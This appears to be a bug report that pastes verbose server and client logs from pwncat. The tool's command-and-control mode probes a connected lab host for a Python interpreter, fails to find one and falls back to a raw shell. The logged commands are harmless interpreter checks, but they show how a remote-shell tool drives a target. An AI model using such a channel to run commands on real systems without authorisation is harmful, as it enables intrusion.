2022-08-09 13:44:31,579 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.052403 sec in 3/5 rounds
2022-08-09 13:44:31,930 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.403363 sec in 4/5 rounds
2022-08-09 13:44:32,281 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.754384 sec in 5/5 rounds
[PWNCAT CnC] Response:
2022-08-09 13:44:32,282 DEBUG [MainThread] 4827:__set_remote_python_path(): Probing for: which python2
2022-08-09 13:44:32,282 DEBUG [MainThread] 1898:send(): Trying to send 26 bytes to 192.168.10.254:5555
2022-08-09 13:44:32,283 TRACE [MainThread] 1904:send(): Trying to send: b'which python2 2>/dev/null\n'
2022-08-09 13:44:32,283 DEBUG [MainThread] 1921:send(): Sent 26 bytes to 192.168.10.254:5555 (0 bytes remaining)
2022-08-09 13:44:32,634 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.350500 sec in 1/5 rounds
2022-08-09 13:44:32,985 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.701460 sec in 2/5 rounds
2022-08-09 13:44:33,336 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.052369 sec in 3/5 rounds
2022-08-09 13:44:33,687 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.403336 sec in 4/5 rounds
2022-08-09 13:44:34,038 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.754300 sec in 5/5 rounds
[PWNCAT CnC] Response:
2022-08-09 13:44:34,038 DEBUG [MainThread] 4827:__set_remote_python_path(): Probing for: which python2.7
2022-08-09 13:44:34,038 DEBUG [MainThread] 1898:send(): Trying to send 28 bytes to 192.168.10.254:5555
2022-08-09 13:44:34,039 TRACE [MainThread] 1904:send(): Trying to send: b'which python2.7 2>/dev/null\n'
2022-08-09 13:44:34,039 DEBUG [MainThread] 1921:send(): Sent 28 bytes to 192.168.10.254:5555 (0 bytes remaining)
2022-08-09 13:44:34,390 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.350504 sec in 1/5 rounds
2022-08-09 13:44:34,741 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.701578 sec in 2/5 rounds
2022-08-09 13:44:35,092 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.052568 sec in 3/5 rounds
2022-08-09 13:44:35,443 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.403498 sec in 4/5 rounds
2022-08-09 13:44:35,794 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.754471 sec in 5/5 rounds
[PWNCAT CnC] Response:
2022-08-09 13:44:35,794 DEBUG [MainThread] 4827:__set_remote_python_path(): Probing for: which python3.5
2022-08-09 13:44:35,794 DEBUG [MainThread] 1898:send(): Trying to send 28 bytes to 192.168.10.254:5555
2022-08-09 13:44:35,795 TRACE [MainThread] 1904:send(): Trying to send: b'which python3.5 2>/dev/null\n'
2022-08-09 13:44:35,795 DEBUG [MainThread] 1921:send(): Sent 28 bytes to 192.168.10.254:5555 (0 bytes remaining)
2022-08-09 13:44:36,145 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.350499 sec in 1/5 rounds
2022-08-09 13:44:36,496 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.701473 sec in 2/5 rounds
2022-08-09 13:44:36,847 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.052447 sec in 3/5 rounds
2022-08-09 13:44:37,198 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.403437 sec in 4/5 rounds
2022-08-09 13:44:37,549 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.754413 sec in 5/5 rounds
[PWNCAT CnC] Response:
2022-08-09 13:44:37,550 DEBUG [MainThread] 4827:__set_remote_python_path(): Probing for: which python3.6
2022-08-09 13:44:37,550 DEBUG [MainThread] 1898:send(): Trying to send 28 bytes to 192.168.10.254:5555
2022-08-09 13:44:37,550 TRACE [MainThread] 1904:send(): Trying to send: b'which python3.6 2>/dev/null\n'
2022-08-09 13:44:37,550 DEBUG [MainThread] 1921:send(): Sent 28 bytes to 192.168.10.254:5555 (0 bytes remaining)
2022-08-09 13:44:37,901 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.350496 sec in 1/5 rounds
2022-08-09 13:44:38,252 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.701492 sec in 2/5 rounds
2022-08-09 13:44:38,603 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.052461 sec in 3/5 rounds
2022-08-09 13:44:38,954 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.403419 sec in 4/5 rounds
2022-08-09 13:44:39,305 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.754393 sec in 5/5 rounds
[PWNCAT CnC] Response:
2022-08-09 13:44:39,306 DEBUG [MainThread] 4827:__set_remote_python_path(): Probing for: which python3.7
2022-08-09 13:44:39,306 DEBUG [MainThread] 1898:send(): Trying to send 28 bytes to 192.168.10.254:5555
2022-08-09 13:44:39,306 TRACE [MainThread] 1904:send(): Trying to send: b'which python3.7 2>/dev/null\n'
2022-08-09 13:44:39,306 DEBUG [MainThread] 1921:send(): Sent 28 bytes to 192.168.10.254:5555 (0 bytes remaining)
2022-08-09 13:44:39,657 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.350509 sec in 1/5 rounds
2022-08-09 13:44:40,008 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.701510 sec in 2/5 rounds
2022-08-09 13:44:40,359 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.052515 sec in 3/5 rounds
2022-08-09 13:44:40,710 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.403461 sec in 4/5 rounds
2022-08-09 13:44:41,061 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.754383 sec in 5/5 rounds
[PWNCAT CnC] Response:
2022-08-09 13:44:41,061 DEBUG [MainThread] 4827:__set_remote_python_path(): Probing for: which python3.8
2022-08-09 13:44:41,061 DEBUG [MainThread] 1898:send(): Trying to send 28 bytes to 192.168.10.254:5555
2022-08-09 13:44:41,062 TRACE [MainThread] 1904:send(): Trying to send: b'which python3.8 2>/dev/null\n'
2022-08-09 13:44:41,062 DEBUG [MainThread] 1921:send(): Sent 28 bytes to 192.168.10.254:5555 (0 bytes remaining)
2022-08-09 13:44:41,413 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.350526 sec in 1/5 rounds
2022-08-09 13:44:41,764 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.701422 sec in 2/5 rounds
2022-08-09 13:44:42,115 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.052393 sec in 3/5 rounds
2022-08-09 13:44:42,465 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.403347 sec in 4/5 rounds
2022-08-09 13:44:42,816 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.754319 sec in 5/5 rounds
[PWNCAT CnC] Response:
[PWNCAT CnC] Probing for: /usr/bin/python3
2022-08-09 13:44:42,817 DEBUG [MainThread] 1898:send(): Trying to send 58 bytes to 192.168.10.254:5555
2022-08-09 13:44:42,818 TRACE [MainThread] 1904:send(): Trying to send: b'test -f /usr/bin/python3 && echo /usr/bin/python3 || echo\n'
2022-08-09 13:44:42,818 DEBUG [MainThread] 1921:send(): Sent 58 bytes to 192.168.10.254:5555 (0 bytes remaining)
2022-08-09 13:44:43,169 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.350547 sec in 1/5 rounds
2022-08-09 13:44:43,520 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.701487 sec in 2/5 rounds
2022-08-09 13:44:43,871 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.052430 sec in 3/5 rounds
2022-08-09 13:44:44,222 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.403409 sec in 4/5 rounds
2022-08-09 13:44:44,573 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.754423 sec in 5/5 rounds
[...]
[PWNCAT CnC] Probing for: /opt/python3.8/bin/python3.8
2022-08-09 13:49:21,820 DEBUG [MainThread] 1898:send(): Trying to send 82 bytes to 192.168.10.254:5555
2022-08-09 13:49:21,820 TRACE [MainThread] 1904:send(): Trying to send: b'test -f /opt/python3.8/bin/python3.8 && echo /opt/python3.8/bin/python3.8 || echo\n'
2022-08-09 13:49:21,820 DEBUG [MainThread] 1921:send(): Sent 82 bytes to 192.168.10.254:5555 (0 bytes remaining)
2022-08-09 13:49:22,171 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.350498 sec in 1/5 rounds
2022-08-09 13:49:22,522 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.701218 sec in 2/5 rounds
2022-08-09 13:49:22,872 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.051955 sec in 3/5 rounds
2022-08-09 13:49:23,223 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.402681 sec in 4/5 rounds
2022-08-09 13:49:23,574 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.753400 sec in 5/5 rounds
[PWNCAT CnC] No Python has been found. Aborting and handing over to current shell.
2022-08-09 13:49:23,575 TRACE [RECV] 4014:run_action(): [RECV] Producer Start
2022-08-09 13:49:23,575 TRACE [STDIN] 4014:run_action(): [STDIN] Producer Start
2022-08-09 13:51:35,682 DEBUG [RECV] 2032:receive(): Received 19 bytes from 192.168.10.254:5555
2022-08-09 13:51:35,682 TRACE [RECV] 2038:receive(): Received: b'string from client\n'
2022-08-09 13:51:35,682 TRACE [RECV] 4016:run_action(): [RECV] Producer received: b'string from client\n'
string from client
STRING FROM SERVER
2022-08-09 13:51:49,136 DEBUG [STDIN] 3435:producer(): Received 19 bytes from STDIN
2022-08-09 13:51:49,136 TRACE [STDIN] 3436:producer(): Received: b'STRING FROM SERVER\n'
2022-08-09 13:51:49,136 TRACE [STDIN] 4016:run_action(): [STDIN] Producer received: b'STRING FROM SERVER\n'
2022-08-09 13:51:49,136 DEBUG [STDIN] 1898:send(): Trying to send 19 bytes to 192.168.10.254:5555
2022-08-09 13:51:49,136 TRACE [STDIN] 1904:send(): Trying to send: b'STRING FROM SERVER\n'
2022-08-09 13:51:49,136 DEBUG [STDIN] 1921:send(): Sent 19 bytes to 192.168.10.254:5555 (0 bytes remaining)

Client:

./pwncat --source-port 5555 --source-addr 192.168.10.254 192.168.10.184 9999 -vvvvv
2022-08-09 13:44:25,266 DEBUG [MainThread] 3396:__init__(): STDOUT isatty: True
2022-08-09 13:44:25,266 DEBUG [MainThread] 3397:__init__(): STDIN  isatty: True
2022-08-09 13:44:25,266 DEBUG [MainThread] 3398:__init__(): STDIN  posix:  False (posix)
2022-08-09 13:44:25,266 DEBUG [MainThread] 1465:create_socket(): Creating (family 10/IPv6, TCP) socket
2022-08-09 13:44:25,266 DEBUG [MainThread] 1485:create_socket(): Disabling IPv4 support on IPv6 socket
2022-08-09 13:44:25,266 DEBUG [MainThread] 1465:create_socket(): Creating (family 2/IPv4, TCP) socket
2022-08-09 13:44:25,267 DEBUG [MainThread] 1414:gethostbyname(): Resolving IPv4 name not required, changing to IPv6: ::ffff:192.168.10.184
2022-08-09 13:44:25,267 DEBUG [MainThread] 1418:gethostbyname(): Resolving IPv4 host not required, already an IP: 192.168.10.184
2022-08-09 13:44:25,267 DEBUG [MainThread] 1636:connect(): Binding specifically to 192.168.10.254:5555
2022-08-09 13:44:25,267 DEBUG [MainThread] 1517:bind(): Binding (family 10/IPv6, TCP) socket to 192.168.10.254:5555
2022-08-09 13:44:25,267 DEBUG [MainThread] 1636:connect(): Binding specifically to 192.168.10.254:5555
2022-08-09 13:44:25,267 DEBUG [MainThread] 1517:bind(): Binding (family 2/IPv4, TCP) socket to 192.168.10.254:5555
2022-08-09 13:44:25,267 DEBUG [MainThread] 1641:connect(): Connecting to 192.168.10.184:9999 (family 2/IPv4, TCP)
2022-08-09 13:44:25,268 DEBUG [MainThread] 1690:connect(): Connected from 192.168.10.254:5555
2022-08-09 13:44:25,269 INFO [MainThread] 1695:connect(): Connected to 192.168.10.184:9999 (family 2/IPv4, TCP)
2022-08-09 13:44:25,269 TRACE [RECV] 4014:run_action(): [RECV] Producer Start
2022-08-09 13:44:25,269 TRACE [STDIN] 4014:run_action(): [STDIN] Producer Start
2022-08-09 13:44:27,023 DEBUG [RECV] 2032:receive(): Received 15 bytes from 192.168.10.184:9999
2022-08-09 13:44:27,023 TRACE [RECV] 2038:receive(): Received: b'echo "__pwn__"\n'
2022-08-09 13:44:27,023 TRACE [RECV] 4016:run_action(): [RECV] Producer received: b'echo "__pwn__"\n'
echo "__pwn__"
2022-08-09 13:44:28,777 DEBUG [RECV] 2032:receive(): Received 26 bytes from 192.168.10.184:9999
2022-08-09 13:44:28,777 TRACE [RECV] 2038:receive(): Received: b'which python3 2>/dev/null\n'
2022-08-09 13:44:28,777 TRACE [RECV] 4016:run_action(): [RECV] Producer received: b'which python3 2>/dev/null\n'
which python3 2>/dev/null
2022-08-09 13:44:30,532 DEBUG [RECV] 2032:receive(): Received 25 bytes from 192.168.10.184:9999
2022-08-09 13:44:30,532 TRACE [RECV] 2038:receive(): Received: b'which python 2>/dev/null\n'
2022-08-09 13:44:30,532 TRACE [RECV] 4016:run_action(): [RECV] Producer received: b'which python 2>/dev/null\n'
which python 2>/dev/null
2022-08-09 13:44:32,288 DEBUG [RECV] 2032:receive(): Received 26 bytes from 192.168.10.184:9999
2022-08-09 13:44:32,288 TRACE [RECV] 2038:receive(): Received: b'which python2 2>/dev/null\n'
2022-08-09 13:44:32,289 TRACE [RECV] 4016:run_action(): [RECV] Producer received: b'which python2 2>/dev/null\n'
which python2 2>/dev/null
2022-08-09 13:44:34,044 DEBUG [RECV] 2032:receive(): Received 28 bytes from 192.168.10.184:9999
2022-08-09 13:44:34,044 TRACE [RECV] 2038:receive(): Received: b'which python2.7 2>/dev/null\n'
2022-08-09 13:44:34,044 TRACE [RECV] 4016:run_action(): [RECV] Producer received: b'which python2.7 2>/dev/null\n'
which python2.7 2>/dev/null
2022-08-09 13:44:35,800 DEBUG [RECV] 2032:receive(): Received 28 bytes from 192.168.10.184:9999
2022-08-09 13:44:35,800 TRACE [RECV] 2038:receive(): Received: b'which python3.5 2>/dev/null\n'
2022-08-09 13:44:35,800 TRACE [RECV] 4016:run_action(): [RECV] Producer received: b'which python3.5 2>/dev/null\n'
which python3.5 2>/dev/null
2022-08-09 13:44:37,556 DEBUG [RECV] 2032:receive(): Received 28 bytes from 192.168.10.184:9999
2022-08-09 13:44:37,556 TRACE [RECV] 2038:receive(): Received: b'which python3.6 2>/dev/null\n'
2022-08-09 13:44:37,556 TRACE [RECV] 4016:run_action(): [RECV] Producer received: b'which python3.6 2>/dev/null\n'
which python3.6 2>/dev/null
2022-08-09 13:44:39,311 DEBUG [RECV] 2032:receive(): Received 28 bytes from 192.168.10.184:9999
2022-08-09 13:44:39,312 TRACE [RECV] 2038:receive(): Received: b'which python3.7 2>/dev/null\n'
2022-08-09 13:44:39,312 TRACE [RECV] 4016:run_action(): [RECV] Producer received: b'which python3.7 2>/dev/null\n'
which python3.7 2>/dev/null
2022-08-09 13:44:41,067 DEBUG [RECV] 2032:receive(): Received 28 bytes from 192.168.10.184:9999
2022-08-09 13:44:41,067 TRACE [RECV] 2038:receive(): Received: b'which python3.8 2>/dev/null\n'
2022-08-09 13:44:41,068 TRACE [RECV] 4016:run_action(): [RECV] Producer received: b'which python3.8 2>/dev/null\n'
which python3.8 2>/dev/null
2022-08-09 13:44:42,823 DEBUG [RECV] 2032:receive(): Received 58 bytes from 192.168.10.184:9999
2022-08-09 13:44:42,823 TRACE [RECV] 2038:receive(): Received: b'test -f /usr/bin/python3 && echo /usr/bin/python3 || echo\n'
2022-08-09 13:44:42,823 TRACE [RECV] 4016:run_action(): [RECV] Producer received: b'test -f /usr/bin/python3 && echo /usr/bin/python3 || echo\n'
test -f /usr/bin/python3 && echo /usr/bin/python3 || echo
2022-08-09 13:44:44,579 DEBUG [RECV] 2032:receive(): Received 56 bytes from 192.168.10.184:9999
2022-08-09 13:44:44,579 TRACE [RECV] 2038:receive(): Received: b'test -f /usr/bin/python && echo /usr/bin/python || echo\n'
2022-08-09 13:44:44,579 TRACE [RECV] 4016:run_action(): [RECV] Producer received: b'test -f /usr/bin/python && echo /usr/bin/python || echo\n'
[...]
2022-08-09 13:49:21,826 DEBUG [RECV] 2032:receive(): Received 82 bytes from 192.168.10.184:9999
2022-08-09 13:49:21,826 TRACE [RECV] 2038:receive(): Received: b'test -f /opt/python3.8/bin/python3.8 && echo /opt/python3.8/bin/python3.8 || echo\n'
2022-08-09 13:49:21,826 TRACE [RECV] 4016:run_action(): [RECV] Producer received: b'test -f /opt/python3.8/bin/python3.8 && echo /opt/python3.8/bin/python3.8 || echo\n'
test -f /opt/python3.8/bin/python3.8 && echo /opt/python3.8/bin/python3.8 || echo
string from client
2022-08-09 13:51:35,685 DEBUG [STDIN] 3435:producer(): Received 19 bytes from STDIN
2022-08-09 13:51:35,685 TRACE [STDIN] 3436:producer(): Received: b'string from client\n'
2022-08-09 13:51:35,686 TRACE [STDIN] 4016:run_action(): [STDIN] Producer received: b'string from client\n'
2022-08-09 13:51:35,686 DEBUG [STDIN] 1898:send(): Trying to send 19 bytes to 192.168.10.184:9999
2022-08-09 13:51:35,686 TRACE [STDIN] 1904:send(): Trying to send: b'string from client\n'
2022-08-09 13:51:35,686 DEBUG [STDIN] 1921:send(): Sent 19 bytes to 192.168.10.184:9999 (0 bytes remaining)
2022-08-09 13:51:49,141 DEBUG [RECV] 2032:receive(): Received 19 bytes from 192.168.10.184:9999
2022-08-09 13:51:49,142 TRACE [RECV] 2038:receive(): Received: b'STRING FROM SERVER\n'
2022-08-09 13:51:49,142 TRACE [RECV] 4016:run_action(): [RECV] Producer received: b'STRING FROM SERVER\n'
STRING FROM SERVER

After iterating through all combinations, pwncat dumps to existing shell (which still echoes content back and forth) because it cannot find python; however, python is definitely installed and this bug persists across linux distros. I'm pretty sure there's something wrong with the client returning remote_command output because the only packets from client to server had null payloads.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.